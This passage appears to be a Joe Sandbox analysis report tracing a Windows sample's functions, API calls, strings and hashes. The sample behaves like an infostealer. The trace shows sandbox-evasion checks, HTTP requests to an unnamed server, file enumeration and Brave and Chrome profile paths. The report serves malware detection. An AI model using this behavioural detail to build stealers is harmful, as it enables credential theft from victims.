__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,024B6258,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,024B6258,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,024E9120), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,024ECDB8,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 287c4944f2ba1a5879c5b57656c8dc51a31da8e3a5e3b78fb2e1df7df1d21834
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 287c4944f2ba1a5879c5b57656c8dc51a31da8e3a5e3b78fb2e1df7df1d21834
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 024BFA7F Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 024BFAA7
Module32First.KERNEL32(00000000,00000224), ref: 024BFAC7

Memory Dump Source

Source File: 00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 024BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24be000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 01e08444e27cf3954d823b6c477de898a56e0281be35170541b0068fdb1c0807
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D3F0FC321007116FD7253BF5DC8CBAF72E8AF4D324F11012AF546919D0DB70E8494670

Function 040A0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,040A0223,?,?), ref: 040A0E19
SetErrorMode.KERNEL32(00000000,?,?,040A0223,?,?), ref: 040A0E1E

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: aa8218d920a278acd49a8db63b1ae2b83c19079fa7ae511ab9695a0ffe455710
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: E5D0123114512C77DB402ED4DC09BCD7B5CDF09B62F008011FB0DE9080C770954046E5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 024BF73E Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 024BF78F

Memory Dump Source

Source File: 00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp, Offset: 024BE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24be000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c594bcc7d7033acd5ef6961cd0564c8ed891100217d13d4c1c260726b5654ddc
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D9113C79A00208EFDB01DF98C985E99BFF5AF08750F068095F9489B361D371EA90DF90

Non-executed Functions

Function 004138B0 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s\*, xrefs: 004138C0
%s\%s\%s, xrefs: 00413A4A
%s%s, xrefs: 00413AAD
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 00413A6F
%s\%s, xrefs: 0041397A

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-817767981
Opcode ID: 6cb684ace6967589941c3eb8540661810fdcea85d8e50341589a8dc562ba4125
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: 6cb684ace6967589941c3eb8540661810fdcea85d8e50341589a8dc562ba4125
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Brave, xrefs: 0040C102
Google Chrome, xrefs: 0040C634
Preferences, xrefs: 0040C11E
\Brave\Preferences, xrefs: 0040C1DB

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 9738bf910ff1965ffb943994e09d242b4311d669ed09d9d9b2d3beb31a06f825
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: 9738bf910ff1965ffb943994e09d242b4311d669ed09d9d9b2d3beb31a06f825
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149FB
%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 637e1f55b370a77931354714e54409c2954acea7e3f6c3a29657c541e3a86ea0
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 637e1f55b370a77931354714e54409c2954acea7e3f6c3a29657c541e3a86ea0
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 040B3B17 Relevance: 31.8, APIs: 21, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 040B3B33
FindFirstFileA.KERNEL32(?,?), ref: 040B3B4A
lstrcat.KERNEL32(?,?), ref: 040B3B9C
StrCmpCA.SHLWAPI(?,00420F70), ref: 040B3BAE
StrCmpCA.SHLWAPI(?,00420F74), ref: 040B3BC4
FindNextFileA.KERNEL32(000000FF,?), ref: 040B3ECE
FindClose.KERNEL32(000000FF), ref: 040B3EE3

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction ID: 03ec0b458e740f53f6e48d96f1a458cbe4565dab6a388247d5a5c23dbe61f5ce
Opcode Fuzzy Hash: 4559a2751c43def235363665869aa0b92e5680d670ebeacc1df313f03f1736d8
Instruction Fuzzy Hash: 79A194B5A40218ABDB30DFA4CC84FEE73B9FF45304F044589A64DA6180DB74AB84CF96

Function 00414570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
HeapAlloc.KERNEL32(00000000), ref: 00414587
wsprintfA.USER32 ref: 004145A6
FindFirstFileA.KERNEL32(?,?), ref: 004145BD
StrCmpCA.SHLWAPI(?,00420FC4), ref: 004145EB
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414601
FindNextFileA.KERNEL32(000000FF,?), ref: 0041468B
FindClose.KERNEL32(000000FF), ref: 004146A0
lstrcatA.KERNEL32(?,024E90F0,?,00000104), ref: 004146C5
lstrcatA.KERNEL32(?,024EC110), ref: 004146D8
lstrlenA.KERNEL32(?), ref: 004146E5
lstrlenA.KERNEL32(?), ref: 004146F6

Strings

%s\%s, xrefs: 0041461B
%s\*, xrefs: 0041459A

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 49f7cd920285fb998418c40c2082670281bcd5633157a42a48444e56202711e4
Instruction ID: 82eaf0d031878973a8df5e9a00467f3300e65aa4f81b4767f6d66ede98fc483b
Opcode Fuzzy Hash: 49f7cd920285fb998418c40c2082670281bcd5633157a42a48444e56202711e4
Instruction Fuzzy Hash: 195177B5950218ABC720EBB0DC89FEE737DAB54304F40458DB60996190EB789BC58F96

Function 040B4B77 Relevance: 27.2, APIs: 18, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 040B4B93
FindFirstFileA.KERNEL32(?,?), ref: 040B4BAA
StrCmpCA.SHLWAPI(?,00420FDC), ref: 040B4BD8
StrCmpCA.SHLWAPI(?,00420FE0), ref: 040B4BEE
FindNextFileA.KERNEL32(000000FF,?), ref: 040B4DE4
FindClose.KERNEL32(000000FF), ref: 040B4DF9

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction ID: f12e136bc689036e0f5c53e0dfe77d545a3703e0b34f4244123f3420261d4619
Opcode Fuzzy Hash: 78984cc8b84f1b8f18172e07a0d5b5a7c4859d44debcdf1ecac8b22b5592097a
Instruction Fuzzy Hash: 2461A6B5A40218BBDB20EBE0DD44FEE73BDFB49304F00458CA649A6141EB75A745CF95

Function 040AC0D7 Relevance: 26.2, APIs: 17, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 040AC15C
StrCmpCA.SHLWAPI(?,004213F8), ref: 040AC1B4
StrCmpCA.SHLWAPI(?,004213FC), ref: 040AC1CA
FindNextFileA.KERNEL32(000000FF,?), ref: 040ACA26
FindClose.KERNEL32(000000FF), ref: 040ACA38

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction ID: 7ad36ffe0440553eb9d930556d1cbabf0a4023d7b1b22cdeb37f604ce8702d49
Opcode Fuzzy Hash: da467dc7648e693f4c6cd575beccc027074fc99b58ba44c993b0283215006001
Instruction Fuzzy Hash: 05424172A10104ABEB14FBB4DD95EEE7379AF9430CF404158A54AB6190EF34BB48CFA5

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
